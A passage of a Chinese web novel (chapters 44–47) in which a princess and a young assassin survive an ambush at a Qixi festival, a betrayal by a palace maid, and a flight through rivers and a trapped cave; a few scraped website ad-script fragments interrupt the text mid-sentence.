纪无涯看了一眼李之夭,见她神色如常便挑了件不显眼的银质小铃铛留在身上。 “拿去给宫里其他人挑几样,余下的收好。”李之夭心情不错。 太后抠门,能从她手里薅到赏赐,很是不易。 她对纪无涯道:“明日你随我一块下山。” 他手里还握着方才选的小铃铛,对视间点头应下。 “好。” 44. 相悖 第44章 是夜,吏部尚书宋庆的马车从城内驶向郊外,他坐在马车中,脑海里不停闪过方才智先生说的话。 当断不断反受其乱。 如今他手底下文选司郎中已折损在李之夭手里,都是千年的狐狸,他自然知道李之夭什么意思。 她这是拿他下属开刀警告。 仅仅因为文选司手底下一名攀了关系的小官,就产生这么大的反应,这段时间让他寝食难安。 养女苏月清在宫中,如今在皇上身边伺候,前些日子听说又是因为李之夭挨了罚,心中愤怒。 骊山不比宫中守卫森严,他有的是机会动手。 李之夭不死,他寝食难安。 马车走到一半忽然停下来,管家低声道,“主子,小姐回信了。” 信上说李之夭明日会下山前往守义镇参加七夕大会,并且把行宫的布局图一并传了过来,注明李之夭现在所住的偏僻院子。 倒是方便他动手,只不过她身边可能会有秦立山和一名缘楼杀手扮做侍卫陪同,若想成功需得引开他们二人,末尾最后,苏月清想请他去行宫一见,有事相商。 宋庆用火折子烧毁信件,杀意涌动。 身为大魏要臣,李之夭直接把他手底下的人揪出来杀鸡儆猴,所表现出来掌握的讯息绝不简单,皇上都无法掌握的情报,她一个小小前朝公主,竟轻而易举的将其解决。 单凭这一点,李之夭绝对不能留。 * 晚间回了房,春夏服侍主子歇下回到房里,见时雨正翻箱倒柜找明日白天穿的衣服。 她笑着上去挠时雨腰间的痒痒肉,“白日里你表现那么淡定,我还以为你不感兴趣呢。” 时雨被她挠得缴械投降,眼角挂着笑出来的泪珠,“好春夏,你就饶了我吧,往年七夕都只能在宫里过,今年难得能出宫看看,谁不高兴谁是傻子。” 春夏收手一股脑扎进自己的被褥里,在床上打了个滚单手撑着额头,“时雨姐姐,你有没有想过出宫啊?” “明儿不就能出宫了。”时雨勾唇,把床上的衣服收进箱子里。 “我说的不是明日出宫,是那个出宫。” 时雨笑着点了她鼻头,“你呀,还是先关心关心你自己吧,出不去无所谓,反正主子在哪,我就在哪。” 她钻进被窝,春夏挪到她那边,要跟她一起睡。 “我也是。” “快睡吧,明儿个养足力气才有得玩。”时雨说完吹灭蜡烛,两人很快便进入梦乡。 夜半三更,行宫内除巡逻禁军之外并无他人。 苏月清放飞手中信鸽,她快速看完回信后便将其烧掉。 “杨刻,你去跟你家主子说,就说我养父答应过段时日便来见我,那时我会跟他说相助一事。”苏月清看向在屋内角落里的男人,“白天李之夭会下山,并且在山下住一晚,她身边有禁军统领和缘楼的人,你们若想动手,得先把他们二人解决。” “多谢。”杨刻推门离开时回头叮嘱,“苏姑娘在这里一切小心,这段时间我发现有人悄悄跟着大部队来了骊山藏在行宫附近,他们行动轨迹过于复杂,不清楚是敌是友,还望你自己多加小心。” 杨刻口中的人,便是从缘楼溜出来奉楼主之命寻找纪无涯等人的护法,十一、十两位护法。 他们守在行宫已有一日,却找不到丝毫机会对纪无涯下手。 他身边一直都有人,若非不想被禁军发现,给缘楼那边惹麻烦,他们早就动手把十三拿下,十三武功高强,现在不过是大病初愈留有隐患,真动起手来,谁输谁赢都不一定。 十二绕过禁军,捡了枚石子儿砸在窗户上,小顺子此时睡梦正酣,惊醒了本就浅眠的纪无涯。 他睁眼,外头传来几声鸟叫,轻手轻脚起身穿好衣服走向外头。 在树上守夜的飞鸿见纪无涯避开视线朝行宫外的树林走去,当即便跟了上去。 纪无涯行至林中深处站定,暗处便传来叫好声,“十三师弟的轻功不愧是楼中第一,十九跟你学了去都能做到日行千里。” “还行。”纪无涯心安理得接受对方的夸赞,语气也不谦虚。 拍手的十二一噎,刚想发怒就被老十拦下,“十三,跟我们回去,你可知你上次毁坏十三牢,给楼里带来多大的麻烦。” “不觉有多大麻烦,回缘楼不是现在。” “你别忘了当初是谁把你捡回缘楼,你这是公然挑衅楼主背叛我们!”十二拔高声音,要准备动手,“你现在重伤初愈,你一个人可不是我们两人的对手,想离开缘楼,就得从月缘山走下去,其中凶险你可知?” “我说了,要回去,但不是现在。”纪无涯再次重复一遍。 十二暗骂一声,他早就看不惯纪无涯这副冷淡的样子,当即拔剑朝他刺去。 老十拦不住,只得站在一旁观望,显然十二不是纪无涯的对手,你来我回,你攻我退之间,二人过手数十招,十二渐渐处于下风。 不甘心的他朝老十怒斥,“我快打不过了,还不来帮我不然我回去告诉楼主!” 老十虽不想他们几名护法之间出现争斗,但此时不帮十二耽误任务,只好念一声得罪了朝纪无涯身后攻去。 两人一人攻正面,一人寻找空档出手,一暗一明,让纪无涯体内原本压下去的旧毒在尚未全部调理好的时候再次隐隐有发作的迹象。 就在此时,有人出现在他身后替他挡下十二的长剑。 飞鸿站在纪无涯身后,微微皱眉,“你没事吧?” “多谢,没事。”纪无涯捂住胸口暗暗调理气息,有飞鸿的出现让他得以喘息压下旧毒。 十二道:“小子,这事不是你能插手的,快滚!” 飞鸿轻笑一声:“二打一以多欺少,江湖鼠辈作为,我们二打二公平些。” 老十看出他身手不简单,再次拦住急躁的十二,识时务者为俊杰,“十二,我们撤。” 末了看向面色不好的十三,“希望你尽快回到楼里,楼主若是怪罪,你就是自寻死路。” 十二撤退满是不甘,“就这么让他跑了?” “他身边那人应是暗卫出身,若是强行把人带走,会给楼里带来麻烦,先写信回禀楼主,咱们再等等。” 他们走后纪无涯冲飞鸿道谢,不等他说完飞鸿冷哼一声便走了。 横竖不过十五六岁的年纪,脾气大些也是正常。 他回到房里,飞鸿已经歇下了。 两人都是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 话少的人,并没再说一句话,只剩小顺子鼾声如雷。 七月初七,七夕节。 因今日特许能下山的缘故,春夏一大早显得很是亢奋,拉着时雨东挑西选穿什么最合适。 院子里粗使女婢洒扫完院子就得了主子让她们今日休沐的消息。 她们正高兴之余,女婢敲门,“主子,方嬷嬷和苏侍女来了,说带了皇上口谕来。” 春夏面色瞬间垮下来,有种不好的预感从心里油然而生。 而小顺子这边早就先去请秦立山今日是否得空跟他们一块下山,昨日孙广全特意派人来说了一嘴,下山自然是保护宿宁公主的安危,实际上清武帝的心思他也明白。 看似保护,实则监视。 交代完今日需要注意的事情,秦立山候在门口。 人出来的时候,却不见时雨,而是换了苏月清和春夏二人陪着李之夭一左一右出来。 小顺子哎呀一声,“指不定那苏侍女使坏,把时雨留在宫里了。” 实际情况被小顺子猜得七七八八。 苏月清天刚亮,就去寻了太后,去皇上身边说句话,以‘时雨一双巧手,刺绣最是厉害’为由,江氏借口自己要绣一副雨打芭蕉的绣品,把时雨临时喊去太后身边帮忙伺候。 换了自己跟去,监视李之夭的一举一动。 江氏铁定高兴,务必叮嘱苏月清要尽可能抓到李之夭错处来。 临时换了不是宿宁宫的人,数春夏最为不满,但皇上亲自下的口谕又不能表现出来。 时雨本也最期待这次出行,谁曾想被苏月清破坏了。 她瞪着苏月清,有口骂不出。 李之夭皮笑肉不笑的告别送他们出来的孙广全,她还是低估了女主苏月清的手段。 但留有时雨一人在宫中,还在江氏手里,她多多少少有些担忧江氏会不会借此拿她宫里的人出气。 “孙公公留步。”她出声喊住孙广全,“孙公公,近几日总有些不太平,我怕行宫里会出现上次那样的刺杀,那群杀手向来看人动手,还请孙公公多留意些。” 孙广全听懂了李之夭话外的意思,“公主放心,老奴定会转告给皇上。” 得了孙广全的保证,李之夭才放心。 苏月清冷哼一声,自己先上了马车,她的举动刚还被孙广全看了去,他敛起目光,便往里走。 春夏压低声音道,“主子,你看她!” 李之夭安抚她,“无事,这一路咱们得谨慎些,别让她抓到什么把柄。” 纵心里有诸多不满,春夏还是忍了下来。 她身边的两位贴身宫女,春夏做事没时雨稳重,但她活泼可爱,在无聊的宫里也多了几分欢声笑语。 到底爱玩,到了山脚,定了客栈后,几人稍微歇息会儿便相约出门。 春夏左看右看,很快就沉浸在热闹的氛围中,把早上在山上的不愉快抛之脑后,秉着把时雨那份玩回来,一路上用自己的钱买下了不少东西。 苏月清表现得兴致缺缺。 “山上山下,宫里宫外不都一样,不知道有什么可高兴的。” 春夏耳尖,听到她这句刚丢没多久的怒火瞬间又涌了上来。 “你再说一遍?!” 45. 围困 第45章 苏月清不着痕迹往秦立山和纪无涯身边退了一步,神色不满,冷嘲热讽想激怒春夏,“我又没说错,你这么着急干甚?” 李之夭拦住春夏,对苏月清道,“你若觉得无趣,可自行回客栈,这里没人拦你。” 听到离开的话,苏月清才乖乖闭上嘴巴。 愿意带苏月清在身边,裴淮一定也在守义镇。 因书中提到裴淮与苏月清在守义镇遇险,不小心误入隐世而居的古老村寨,他们在那里感情进展。 李之夭怎么会错过给他们添堵的机会,但此时迟迟不见苏月清找借口离开,若是再拖下去,剧情又要徒增变数。 飞鸿守在暗处,若是真有人跟裴淮他们动起手来,他的作用便是浑水摸鱼,裴淮杀不了,她补黑刀也在情理之中。 守义镇是骊山脚下的一座城镇,具有百年历史,藏在丛山峻岭中,且只有一条官道通守义镇和骊山上的行宫,城外高山密林,崎岖小道无数,地形隐蔽,自古都是兵家必争之地。 历任帝王对守义镇更是上心,发展建设指派官员不下数百回,有这样的机缘,守义镇自古以来都很繁华。 白日里店铺张灯结彩,就连宽阔的路上都有人扯上五彩斑斓的绣花琉球灯,灯座下缠绕几缕红色流苏。 晚上活动的广场是在镇子中央举行,百姓在中央搭建一座巨大的鹊桥悬在半空,桥的两端分别连接着广场的两头,在栏杆扎上五色线制成的花饰。 桥下孩童围了一头牛,在它角上挂满野花,一路上都能见到家家户户晒衣晒棉被,还有家前的窗台上晒书。 摊贩为了迎接节日,也在棚子周围挂了一圈野花。 等到了晚上,更加热闹,白日里灭了的灯此时全部点燃了,有人聚在一块在对诗或行飞花令,想在乞巧节的晚上为自己讨个好彩头,姑娘们集中在广场上比赛,穿针乞巧。 苏月清瞧见在角落里坐着轮椅的裴淮,裴淮指了指的身后,苏月清往后瞥了一眼,瞧见屋顶已经冒头的杀手,拉弓搭箭对准尚未察觉的李之夭身上。 她不着痕迹的摸了摸鼻尖,假装四处张望,最后停在旁边贩卖果子茶的摊位上,“公主,我去买份果子茶。” 苏月清让开她原本挡住箭矢飞行射向李之夭的占位,把空档给留了出来。 让出位置后,屋顶上的利箭飞射而出,直冲李之夭胸口,被反应极快的纪无涯空手捏住箭身。 他转头看向射箭的来源,秦立山看到蒙面的黑影背弓就跑,他大喝一声:“小人莫跑!”拍案起身追去。 就在秦立山走后,从另个方向再次涌来一支利箭,纪无涯用空出来的手接住。 春夏忙扶着她站起身退到墙角,茶棚喝茶吃果子看戏的客人抱头鼠窜,四处奔走。 他们这边的动静只引起小部分恐慌,距离较远的人群依旧在吹吹打打,表演节目助兴,沉浸在欢声笑语中,半空中的鹊桥才子佳人相会,引来台下无数叫好声。 纪无涯看向暗处放冷箭的人,此时人已退去,周围有身穿布衣的杀手拔出匕首慢慢靠近,察觉气压低沉,此处必定有场大战。 “你们先走。”他道。 李之夭不会留在这里增添麻烦,留下一句你自己小心些便带着春夏和小顺子先行离开。 苏月清见状下意识望向裴淮所在的方向,见他让青鸢推着轮椅离开,便已知他们现在转移了战场,跟着李之夭离开的步子,为她的踪迹留下蛛丝马迹。 春夏见苏月清紧跟不舍,心中更是愤怒,“主子,她分明就是想害你,这么跟着,想把我们的行踪暴露出来。” 李之夭拉着她的手,不继续往大路走,而是在过拐角后,藏进了昏暗的胡同中。 胡同的尽头没路了,是百姓堆放杂物的死胡同,李之夭倒吸一口凉气,“往外走,死胡同不能待。” 万一别的杀手追来,他们留在这里就是瓮中捉鳖。 可刚到胡同口,杨刻就带人堵在那里。 “你想往哪里去?” 藏在暗处的飞鸿蒙面现身,为他们断后,“主子,你们先走。” 杨刻冷笑出声:“你以为今日你们跑得了吗?” 他出手拦下飞鸿,示意身后的杀手去追李之夭。 但飞鸿快速跟他拉开距离,拔剑拦在路上,见有人打起来还动刀动枪,吓得行人一哄而散,不同的地方都打得火热。 虽然飞鸿的出现是意外,可裴淮他们今日也是有备而来。 不仅把秦立山支走,联络了不少江湖人围困纪无涯,至于李之夭那边杨刻亲自带人捉拿,不信她还有这么好的运气。 苏月清折返回来,刚好就见李之夭,前面的人打得火热,李之夭狡猾,几乎没有犹豫的,苏月清选择跟上李之夭,看她藏到哪里去。 李之夭自己都没想到,兜兜转转又回到了广场,巷子错综复杂,她不熟悉,一股脑乱窜,谁知道又回到了起点。 为了不伤到行人,纪无涯与人交手继续都不怎么动手,全靠手脚上的内力见真章,跟人你来我往,就连躲避匕首,都是靠招式取胜,一来二去,他和江湖人的较量,竟是吸引不少看客。 为首留有胡须男人从袖中拔出匕首,然而匕首还未出鞘,就被纪无涯推来的掌风给紧紧贴在他的胸前,动弹不得。 围观的群众唏嘘一片,男人四下张望,见自己的下属不为所动,而自己现在受制于人,不由恼羞成怒。 “还看着干什么!都给我上!” 下属此时才如梦初醒,上前的一瞬间被纪无涯一脚踹在胸口踹飞,跌在群人里,他捂着胸口倒地不起,上去的人接二连三被纪无涯踢开。 为首的男人受制于人,想挣脱反倒被他抓着手腕往后用力一车扯,疼得他不敢乱动。 远处利箭再次飞来,纪无涯躲闪之际,男人趁机挣脱,他活动发麻的手臂,“杀!” 一声令下,对方都不在遮遮掩掩或是顾忌百姓,取出藏起来的家伙还是动真格,他们离开所有人跟纪无涯打在一起。 还在看戏的百姓见刀剑,立马朝四处散去。 李之夭想借此机会顺着人群离开,苏月清在她身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后,却一把拽住她的胳膊,把她推向和纪无涯缠斗的杀手身边去。 她们被苏月清这一推搞得躲闪不及,小顺子和春夏反应已经来迟,没有抓住她的手。 纪无涯看到那边的动静,眼看她快要撞向刀口,抽出腰间软剑,锋利的剑口划伤杀手的腿,他吃痛跪下时,手中的刀也偏移开。 李之夭惊叫一声,狠狠砸在杀手身上,额前传来一阵剧痛,杀手捂着胸口哎哟直叫,她大脑飞速 旋转,下一秒一股力量将她拽起,再回神,一只手搂在她的腰间,少年的发尾扫过她的面颊,带来一丝异痒。 春夏看到自家主子得救,此时害人的罪魁祸首就站在身前。 从下山开始她顶替时雨,耍心眼把人留在山上,让人期望落空,春夏对她已经一肚子不满,若不是念着不能给她抓到把柄,主子拦着,她非得抽她几个耳刮子不可。 在皇上身边伺候又怎么样,胆敢害主子,就是活腻了。 苏月清顿时想拔腿就跑,才刚转身,脑袋就被春夏随手抓起装菜的背篓扣住。 “你干什么!”苏月清惊叫出声,想把头上的背篓取下来,菜叶混杂着泥土,库库往下掉,还有土飞进她的嘴里,“春夏!当心我告诉皇上!” 春夏不想同她废话,一棍子将人敲晕过去,完了还不解气,朝躺在地上的人踢了两脚。 “害人精!我呸!早就看你不爽了!” 长刀软剑忽然挡在眼前,阻挡了李之夭看春夏那边的视线,有人想趁机偷袭,幸好被纪无涯挡了下来。 横在跟前的危险迫使李之夭回神。 趁他们注意力都在纪无涯身上,李之夭拔腿就跑,然而此时另外一批杀手赶来,堵住了李之夭原想逃的路,她只能在混乱中登上去鹊桥,想穿过正在打架的纪无涯等人,去到对面。 然后纪无涯人在下面,注意被春夏一声‘主子’喊了过去,李之夭身后跟了一群杀手,追上鹊桥,许多人在上面追赶,踩得鹊桥摇摇晃晃。 他不能跟这些人纠缠,于是尽快脱离包围,去对面接应李之夭。 鹊桥摇晃,李之夭站在上面步子都不稳,本来这个东西一次只能上两人,两心相悦的才子佳人效仿神话牛郎织女相会,一年只会用一次的鹊桥,此时承受它不该承担的重量。 纪无涯从另外一头上去,迎着李之夭奔去。 身后的杀手拽住李之夭的头发,扯得她头皮发麻,转身朝他挡下踢去。 杀手吃痛松手在鹊桥蹦跶,这一跳,倒是加快了鹊桥坍塌的速度,甚至能听到木头断裂的声音。 李之夭见纪无涯朝她伸出了手,也不含糊握住那双骨节分明的手。 少年的右手提剑,左右牵着她,掌心滚烫,布满习武练剑时留下的茧子。 那一瞬间,她整个人被带起飞走,落在屋檐上,鹊桥瞬间崩塌,摔伤不少黑衣杀手。 然而事情并未结束,不远处暗箭齐发。 李之夭见四面楚歌,下面又是不知深浅的河水,眼看暗器逼近,她扑倒纪无涯,两人齐齐落进河中。 46. 逃命 第46章 河水不深不浅,两人栽进去的时候,纪无涯下意识的护住李之夭的头,坠入水中,水往口鼻里灌来,他们很快屏住呼吸,顺着河水往下游去。 等他们浮上水面时,裴淮和青鸢带人守在桥头,似乎确信他们会从这里出来。 纪无涯翻身上岸,并把李之夭拉上来挡在她身前。 裴淮冷声道:“你若此时归顺于我,我可既往不咎,你要想好了,我能给你的,她不能。” 对于纪无涯此人,不知为何心里总有股惜才之心,想着不管他是不是站在自己的对立面,但只要能把他说服过来,将来必有大用。 所以他才见一次就想要拉拢他一次,在潜意识里,这是天意。 软剑一横,直指裴淮面门,纪无涯微微侧头,冷声道:“把《下月集》给我。” “什么?” “下月集。” 纪无涯再次重复一遍,并留心观察裴淮的反应。 从听到下月集三字开始,裴淮面上首先是迷茫,最终理智占据上风,将迷茫压了下去。 “你归顺于我,我自会将下月集给你,到时候上月集都给你找来。”裴淮睨了一眼始终不说话的李之夭,开始攻心,“我知道你想要什么,像你们这样的杀手,不都是想求安稳度日么,只要等我事成,回到北唐,全都会有,你也能远离打打杀杀的生活,到时候我还能给你一间铺子谋生,她李之夭横竖不过是一个前朝公主,有朝一日连慎厌烦,她的下场你可想得知?跟着她你有什么好处,人生在世,总要为自己的未来考虑考虑。” 纪无涯道:“嗯。” 从裴淮的反应来看,《下月集》并不在他手上,他自己也不知道这是何物。 可前世他确确实实看到裴淮手里有残卷,若此物是裴淮从别人手中得来,现在持有此物的人又在何处。 一场对话,三个人心思各异。 李之夭起初在听到纪无涯应下这句话时心里难免纠结一番,毕竟此人做黑心买卖不是一次两次了。 但瞧他依旧站在原地,没有动摇的意思,悬着的心顿时放下。 裴淮误以为说动了对方,心里暗自得意,看李之夭的眼神都轻蔑起来,只要他把利益摆出来,就没人不会选他,接下里说话的一起不由加快几分,“她给你月钱多少,我比她高一倍的价格。” 前不久裴淮全部铺子才收归为她所有,难不成裴淮还藏有别的产业,李之夭决定试他一试,“你别信他,前不久我听说他同银来庄打赌,把名下全部产业输光了。” 提到赌约,裴淮面子上有点挂不住。 没想到银来庄的人嘴巴这么不严实,这种事都拿出来说。 赌约是他失算,若不是李之夭插一脚,他早就把银来庄收入囊中,现在还敢旧事重提,“我没蠢到把全部身家赔进去的地步。” 李之夭笑笑心中已猜得七七八八,裴淮转头望向纪无涯,目光桀骜,“她给你多少?” “不知道”他如实回答,一句不知道让裴淮准备的话如鲠在喉。 可也看明白,现在纪无涯是打定主意站在李之夭身边,没有与他合作的心思。 裴淮身为北唐璃王,从小顺风顺水,更是人人称赞的天才,他们都说北唐未来皇位非他莫属,就连他自己也觉得,可后来天变了。 他被人陷害,若非手下人良心发现,暗中留他一命,并且将他藏进一户去大魏奔丧的车队里,他也不会来到大魏,更不会活着。 哪怕他在大魏这几年,东山再起,组建自己的势力,也从来没有不顺利过,所有人的心都是向着他的,更没人向纪无涯一样,敢拒绝他两次。 然而随着他的每一次拒绝,裴淮心里的念头越发强烈,现在纪无涯的回绝,彻底将他心中怒火点燃。 一声令下,青鸢拔刀刺向纪无涯,钳制住他,剩下一个手无缚鸡之力的李之夭不足为惧。 守在暗处的老十和十二犹豫要不要出手,目前纪无涯被人纠缠,他们若是此时上去必定能成功拿下,十二冷笑一声,指尖夹住暗器,看准时机朝正与人缠斗的背影掷去。 “纪无涯小心!” 李之夭出声提醒,十二投出去的飞镖也被拦下。 察觉有其他人在场,纪无涯并无恋战的心思,搂住李之夭的腰一把将她带起。 十二见状再次投掷出暗器,只不过对方身形也快,隐没在黑暗中,不知暗器是否打在他身上。 杀手围困,从今晚情况来看,共有四批人,四批人不约而同都是冲李之夭和纪无涯而来。 此时她紧紧拽着纪无涯的衣服,由他带着自己一路出了城。 出了守义镇,纪无涯想带李之夭回骊山上,现在城里城外都不安全,只有回山上才是最安全的。 可骊山山路错综复杂,本是提防帝王出行时消息传出引来心怀不轨的人,故而上山的小路错综复杂。 他们二人摸黑在山路上绕了大半圈,最后竟距离骊山山顶越来越偏。 当李之夭抬头看到山顶灯火时,他们已在骊山旁的另一座山的山上了。 不给他们歇气的机会,纪无涯一把握住她的手腕,拉着她就往前走。 “别停,快走,有人跟上来了。” “是谁?”李之夭还是头次听到纪无涯声音里藏有的急切。 “缘楼。” 避免说话声暴露,他们沉默着继续往深山出走去,穿梭林间的树叶沙沙声还有彼此交错的呼吸声,偶有夜雀传来几声鸣叫,除此之外,再无它声。 直到他们在一座沟壑前停下,沟壑对岸是新的路,连接两头的是一座上看样子上了年纪的桥,几块破旧的木板横七竖八的搭在上面,风一吹摇摇晃晃。 纪无涯没用轻功飞过去,而是先自己踏上木板桥,查看结不结实。 确认没问题后,他才将手伸出来给李之夭牵着。 两人行到桥中央,李之夭踏上一块木板,只听断裂声咔嚓,她踩踏的木板断裂,整个人往下坠,纪无涯猛地抓紧她的手,另只手抓住绳索做成的围栏。 李之夭吊在半空中,全靠纪无涯在上面死死拽着。 脚下根本看不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清是深渊还是较浅的沟壑。 夜晚的黑把这份未知的恐惧无限放大。 此时后腰上扎着的暗器慢慢溢出血来,紧绷的身体将伤口撕裂,他尽力想将人捞上来。 好巧不巧,老十跟十二因为这边传来的动静跟了上来。 “十三,快跟我们回去!”十二怒斥出声,“楼主她很生气!” 纪无涯:“不要。” 老十劝道,“你听话,乖乖回去。” “不去。” 十二咬牙切齿暗骂,“冥顽不灵。”随后看到纪无涯拽着的宿宁公主,他刚想飞身过来抢人,就被纪无涯一掌打飞,因和他对掌,抓着李之夭的手松了一瞬,她顿时又忘下掉了一截。 幸好纪无涯反应快,再次拽紧,结果硬生生扛下了十二的第二掌,强劲的掌风带着内里灌进他的身体,鲜血从他嘴角溢出。 “你可千万别松手。”纪无涯不理会十二,而是对拽着的李之夭出声,“下面都不知道是什么。” 李之夭瞧他夹在中间的模样,心里升起一丝不忍,与其在这里耗死,不如跳下去博一线生机,“纪无涯,我两赌一把如何?” 他明白话里的意思,于是在十二第三掌打下来的时候,率先纵身从桥上跃下,和李之夭一起坠入黑暗。 只不过下落的途中,他拽紧李之夭,让自己垫在她身下,倘若是悬崖,或是其他乱石堆砌的地方,也能为她博得一线生机。 他死了,也算偿还前面李之夭救他的恩情。 风声在耳边呼啸,身子的下坠感还没减少,直到水流声逼近,他们再次扎进水里。 落进水中时,手上力道一松,李之夭往水底沉去,纪无涯见她不知何时晕过去,将她带上河面。 然而水流湍急,两岸也没有树枝或是别的什么东西给他抓的。 河水冲着他们不断往前,越往前,水流声越发,也更湍急,纪无涯反应过来前面是瀑布。 水里的他根本没地方踏脚用轻功,只能顺着水流从瀑布而下,最后被冲进瀑布下不知名的洞穴里。 洞穴昏暗,好在水流在这里缓和不少,纪无涯摸到岸边,翻身上去,顺便把晕过去的李之夭也拽了上来。 他点燃火折子,勉强能看清洞里的情况,他们现在身处一条小道上,小道旁正是河水。 找了一圈,他找齐一堆枯柴,将火引燃。 他大概检查了一圈李之夭有没有问题,除了胳膊有点脱臼之外,别的暂时没看到出来。 可她面色苍白,此时眉头紧皱,纪无涯为她搭脉,渐渐神色严肃。 趁人还没醒,纪无涯帮她接好胳膊,挪到火堆旁边烘烤衣服,他才转头处理腰间的伤口,暗器是十二最后扔出来的那枚,幸好暗器上没毒,只是随着他这一路扎得有点深。 将其拔出来后赶忙用帕子捂住,扯下衣摆当布袋将帕子绑起来,简单清理后靠在墙壁上恢复力气。 最后目光望向尚在昏迷不醒的人,苦笑出声。 “我欠你的越来越数不清了,李之夭,你可得熬过来啊。” 47. 柳暗 第47章 后半夜的时候李之夭开始发烧,纪无涯怕她烧退不下来,再扯另一边的衣摆当帕子,浸水一遍遍帮她降温,好在没持续太长时间,后半夜李之夭的情况已经差不多了。 等她睁眼的时候头还有些晕,“纪无涯,我这是怎么了?” 纪无涯扶她站起来,“你中毒了。” 闻言李之夭震惊,她在宫里向来小心翼翼,更何况吃食这些都检查过没问题才端上来,就连晚上七夕在外面的吃食也特意检查过,何来中毒一说。 “这……怎么可能。” 看对方不像骗她的样子,纪无涯摇头,“不是事物上出现了问题。” 不是食物那就是水了,这个猜测也被否决,“水也不是,今晚没人下毒,我一直盯着,你夜里发烧昏迷不醒,是它导致的,我似乎在哪里见过,但是想不起来了。” 李之夭稍微走了两步,又是一阵头晕目眩,浑身无力,发烧带来的影响并没有全部消失,更要命的现在她感觉自己又有高热的迹象,“那是为何?” 细细回想这段时间,她并没吃什么来路不明的东西,是怎么中毒,又是谁下的黑手。 纪无涯在她跟前蹲下,示意她上来,“我背着你走。” “不用,我自己可以。”她为了证明自己能行,不像上凤山那样,那时候纪无涯是明码标价,现在他既不要银子,也不要什么别的酬劳作为交换,纪无涯也不勉强她,两人顺着水边狭长的暗道走了一会儿,直通一个巨大的山洞之中。 山洞是一处宽阔的水池,路在池子的对面的石壁上,顶上垂着几根藤蔓,游过去能到对岸,但并无能垫脚石给人踩着攀爬上去,唯一能过去的方法就只有借助藤蔓荡过去。 “上来。”或许是看出李之夭的顾虑,纪无涯开口,“带你出去,一万两。” 他没主动用这次的事抵消李之夭之前为他做的恩情,至少在他眼里,这些东西完全没有可比性。 经过短时间的休整,现在他恢复不少,离开这里应当不是问题。 他欠李之夭的,日后需以相同的份量进行计算,其他时候,她想讲价钱,就跟她讲价钱。 背上传来重量,双臂轻轻环住他的脖子,纪无涯站起身掂了掂份量,看她在宫里从未亏待过自己。 他抓住藤蔓之时,感觉不对,可现在容不得他多想,因为一旦掉下去,不光前面的路上不去,就连回去的路他也攀不上去。 最后的结果只能是两人泡在水池里,精疲力竭而死。 纪无涯荡去抓住下一根藤蔓,刚过去此时头顶传来裂开的声音,须臾间荡在半空的身形极速下坠,千钧一发之际他伸手抓住不远处的绿藤,将将稳住身形,顺着藤蔓往上爬,李之夭在他背上手一阵乏力,或许是察觉她的力气流失,身子在一瞬间被人从后面拖住,她心脏狂跳,下意识紧紧攀住纪无涯的脖子。 或许是两人重量超出藤蔓极限,后面连续几根藤蔓接二连三断开,落入水中,眼看前路就近在咫尺,他还未来得及抓住最后一根藤蔓,手里的藤蔓再次断开。 与此同时山洞忽传来声巨响,两边的墙壁上机关显现,暗器涌出直扑纪无涯面门。 李之夭奋力抓住最后一根藤蔓,同时也拽住纪无涯,两人从原来位置离开,暗器相撞,散出一阵呛人的烟雾,她抓人的手臂忽然传来撕裂的疼痛感,豆大汗珠冒出。 等纪无涯稳住摇晃的身子,才抓住摇摆的绿藤。 “往旁边的墙上荡,我用墙借力带你上去。” 听明白他的意思,两人一起用力往墙壁荡去,碰到墙壁的瞬间,纪无涯脚蹬用力,飞身顺势而起,抓着藤蔓的手也松开,抱起李之夭朝洞口落去。 两人刚进洞中,落石落下,结结实实堵住他们来时的路,漆黑的山洞里什么也看不见,李之夭想抬手取出怀中的火折子照明,但疼痛传来,她的手臂动弹不得。 纪无涯将她放下来,“你手又脱臼了,应该是刚才你拉我的原因。” 又?李之夭诧异,“难怪。” “我趁你昏迷的时候帮你接了一次。” 她脱臼的是右手,只能左手一阵别扭的摸索出火折子,点燃火折子,才看清自己身处一条笔直的甬道中。 纪无涯垂下眸子托起她的右手,“接起来有点疼,你忍着点。” 李之夭点头,但心中依旧忐忑,见她目光躲闪,纪无涯吹灭她手中的火折子,视线再次陷入黑暗。 “干嘛吹了?” “我记下位置了。”纪无涯说话,“你从前跟现在变化大吗?” 此话出来,让她陷入沉思,这么一问,现在跟从前,她变化确实很大,准确是从觉醒后,外人眼中她谨小慎微,软弱可欺,但熟悉的人面前,他们都知自己要强。 在段兰之等人眼中,她满腹算计。 “大啊。”李之夭解释道,“你经历我这么些事,也会变的。” 纪无涯‘嗯’了一声,“以后离苏月清远点。” 前世他听闻李之夭跟了苏月清后,做了不少荒唐事,按照如今局面来看,她们二人明明处于水火不相容的状态,怎么走到一起的实在匪夷所思。 可苏月清到底是裴淮那边的人,他跟李之夭现在又是难兄难弟,关于暂时的朋友,他提醒一句无伤大雅。 “你也认识苏月清?”李之夭顿时来了兴趣,紧接下一秒,猝不及防的的痛感传来,没忍住惨叫一声,听到骨头返回原位的声音,原本握着她胳膊的手松开了。 “好了。” 他主动跟人说这么多,已是极限,为转移她的注意力,就连他自己都觉煞费苦心,很是不易,也就看在那天她主动说让他以身相许的份上,才温柔了些。 换做寻方或者雪,他二话不说就能给扭上。 李之夭活动活动肩膀,“你这人瞒奇怪的。” 眼前忽然亮起来一小片,他手里拿着火折子,眼神如水般平静,“我也这么觉得。” 明明自己重生归来,是掌握了主动权,可在遇到李之夭后,事情变得难以控制,理智告诉他退出,但想法却又引诱他上钩,尝试一次第二遍人生,超出预知后会发 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生什么。 甬道还算宽敞,够两个人并排走,越往前走,道路就变得宽阔起来,最后水声越近,光也若隐若现,掀开挡住洞口的绿藤,敞亮的天光涌了进来。 入眼是一圈不大的湖,水声就是从洞口后面的瀑布传来,他们站在中心的小岛上,外面围了两艘渔船,站在渔船的男人莫约三四十岁,身后男子年纪有大有小,瞧见他们走出来,另艘船上的少年大惊失色。 “我类个乖乖,从老祖宗留下的机关洞里出来了两个人。”他手上还拿着一柄刀,吩咐旁边的人把船划过去,“你们是什么人?” 